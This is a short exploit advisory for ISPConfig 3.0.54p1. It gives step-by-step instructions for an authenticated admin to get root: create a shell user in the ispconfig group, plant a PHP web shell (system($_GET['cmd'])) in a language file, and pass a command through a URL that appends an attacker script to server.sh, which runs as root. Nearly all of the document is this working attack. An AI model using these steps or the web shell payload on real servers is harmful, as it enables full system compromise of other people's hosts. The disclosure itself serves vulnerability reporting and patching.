ISPConfig 3.0.54p1 - Authenticated Admin Local root Vulnerability

                                                # Exploit Title: ISPConfig 3 authenticated admin Localroot vulnerability
# Date: 7/25/14
# Exploit Author: mra
# Vendor Homepage: http://wwwispconfig.org
# Version: 3.0.54p1
# Tested on: ubuntu, centos
# irc.criten.net #elite-chat
 
 
While logged in as admin user:
 
 
1) add a shell user
 
2) under option set gid to ispconfig
 
3) log in as that user
 
4) edit /usr/local/ispconfig/interface/lib/lang/en.lng with system($_GET['cmd']);
 
 
5) browse to: http://server:8080/index.php?cmd=echo /tmp/script >>/usr/local/ispconfig/server/server.sh
 
 
6) create /tmp/script and put a command you wish to be executed as root.